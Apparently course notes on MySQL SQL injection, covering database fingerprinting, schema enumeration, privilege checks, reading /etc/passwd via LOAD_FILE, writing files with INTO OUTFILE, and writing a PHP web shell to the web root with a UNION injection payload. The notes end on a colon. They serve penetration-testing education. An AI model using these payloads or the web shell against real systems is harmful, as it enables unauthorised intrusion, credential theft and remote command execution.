SQL Injection Fundamentals

Database Enumeration

MySQL Fingerprinting

As we cover MySQL in this module, let us fingerprint MySQL databases. The following queries and their output will tell us that we are dealing with MySQL:

Payload	When to Use	Expected Output	Wrong Output
SELECT @@version	When we have full query output	MySQL Version 'i.e. 10.3.22-MariaDB-1ubuntu1'	In MSSQL it returns MSSQL version. Error with other DBMS.
SELECT POW(1,1)	When we only have numeric output	1	Error with other DBMS
SELECT SLEEP(5)	Blind/No Output	Delays page response for 5 seconds and returns 0.	Will not delay response with other DBMS

INFORMATION_SCHEMA Database

To pull data from tables using UNION SELECT, we need to properly form our SELECT queries. To do so, we need the following information:

• List of databases

• List of tables within each database

• List of columns within each table

With the above information, we can form our SELECT statement to dump data from any column in any table within any database inside the DBMS. This is where we can utilize the INFORMATION_SCHEMA Database.

So, to reference a table present in another DB, we can use the dot ‘.’ operator. For example, to SELECT a table users present in a database named my_database, we can use:

SELECT * FROM my_database.users;

SCHEMATA

The table SCHEMATA in the INFORMATION_SCHEMA database contains information about all databases on the server. It is used to obtain database names so we can then query them. The SCHEMA_NAME column contains all the database names currently present.

SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA;

We can find the current database with the SELECT database() query

TABLES

To find all tables within a database, we can use the TABLES table in the INFORMATION_SCHEMA Database.

The TABLES table contains information about all tables throughout the database. This table contains multiple columns, but we are interested in the TABLE_SCHEMA and TABLE_NAME columns. The TABLE_NAME column stores table names, while the TABLE_SCHEMA column points to the database each table belongs to.

COLUMNS

The COLUMNS table in INFORMATION_SCHEMA contains information about all columns present in all the databases. This helps us find the column names to query a table for. The COLUMN_NAME, TABLE_NAME, and TABLE_SCHEMA columns can be used to achieve this.

---

Reading Files

Privileges

Reading data is much more common than writing data, which is strictly reserved for privileged users in modern DBMSes, as it can lead to system exploitation, as we will see. For example, in MySQL, the DB user must have the FILE privilege to load a file's content into a table and then dump data from that table and read files. So, let us start by gathering data about our user privileges within the database to decide whether we will read and/or write files to the back-end server.

DB User

While we do not necessarily need database administrator (DBA) privileges to read data, this is becoming more required in modern DBMSes, as only DBA are given such privileges. The same applies to other common databases. If we do have DBA privileges, then it is much more probable that we have file-read privileges. If we do not, then we have to check our privileges to see what we can do. To be able to find our current DB user, we can use any of the following queries:

SELECT USER()
SELECT CURRENT_USER()
SELECT user from mysql.user

User Privileges

First of all, we can test if we have super admin privileges with the following query:

SELECT super_priv FROM mysql.user

We can also dump other privileges we have directly from the schema, with the following query:

SELECT grantee, privilege_type FROM information_schema.user_privileges -- -

From here, we can add WHERE grantee="'root'@'localhost'" to only show our current user root privileges.

We see that the FILE privilege is listed for our user, enabling us to read files and potentially even write files. Thus, we can proceed with attempting to read files.

LOAD_FILE

SELECT LOAD_FILE('/etc/passwd');

We will only be able to read the file if the OS user running MySQL has enough privileges to read it.

Writing Files

Write File Privileges

To be able to write files to the back-end server using a MySQL database, we require three things:

1. User with FILE privilege enabled

2. MySQL global secure_file_priv variable not enabled

3. Write access to the location we want to write to on the back-end server

secure_file_priv

The secure_file_priv variable is used to determine where to read/write files from. An empty value lets us read files from the entire file system.

Otherwise, if a certain directory is set, we can only read from the folder specified by the variable.

On the other hand, NULL means we cannot read/write from any directory.

MariaDB has this variable set to empty by default, which lets us read/write to any file if the user has the FILE privilege. However, MySQL uses /var/lib/mysql-files as the default folder.

SHOW VARIABLES LIKE 'secure_file_priv';

However, as we are using a UNION injection, we have to get the value using a SELECT statement. This shouldn't be a problem, as all variables and most configurations' are stored within the INFORMATION_SCHEMA database.

MySQL global variables are stored in a table called global_variables, and as per the documentation, this table has two columns variable_name and variable_value.

SELECT variable_name, variable_value FROM information_schema.global_variables where variable_name="secure_file_priv"

SELECT INTO OUTFILE

Now that we have confirmed that our user should write files to the back-end server, let's try to do that using the SELECT .. INTO OUTFILE statement. The SELECT INTO OUTFILE statement can be used to write data from select queries into files. This is usually used for exporting data from tables.

SELECT * from users INTO OUTFILE '/tmp/credentials';

Advanced file exports utilize the 'FROM_BASE64("base64_data")' function in order to be able to write long/advanced files, including binary data.

Writing Files through SQL Injection

Let's try writing a text file to the webroot and verify if we have write permissions.

select 'file written successfully!' into outfile '/var/www/html/proof.txt'

To write a web shell, we must know the base web directory for the web server (i.e. web root). One way to find it is to use load_file to read the server configuration, like Apache's configuration found at /etc/apache2/apache2.conf, Nginx's configuration at /etc/nginx/nginx.conf, or IIS configuration at %WinDir%\System32\Inetsrv\Config\ApplicationHost.config, or we can search online for other possible configuration locations. Furthermore, we may run a fuzzing scan and try to write files to different possible web roots, using this wordlist for Linux or this wordlist for Windows. Finally, if none of the above works, we can use server errors displayed to us and try to find the web directory that way.

Writing a Web Shell

Having confirmed write permissions, we can go ahead and write a PHP web shell to the webroot folder. We can write the following PHP webshell to be able to execute commands directly on the back-end server:

<?php system($_REQUEST[0]); ?>

union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -

Once again, we don't see any errors, which means the file write probably worked. This can be verified by browsing to the /shell.php file and executing commands via the 0 parameter, with ?0=id in our URL: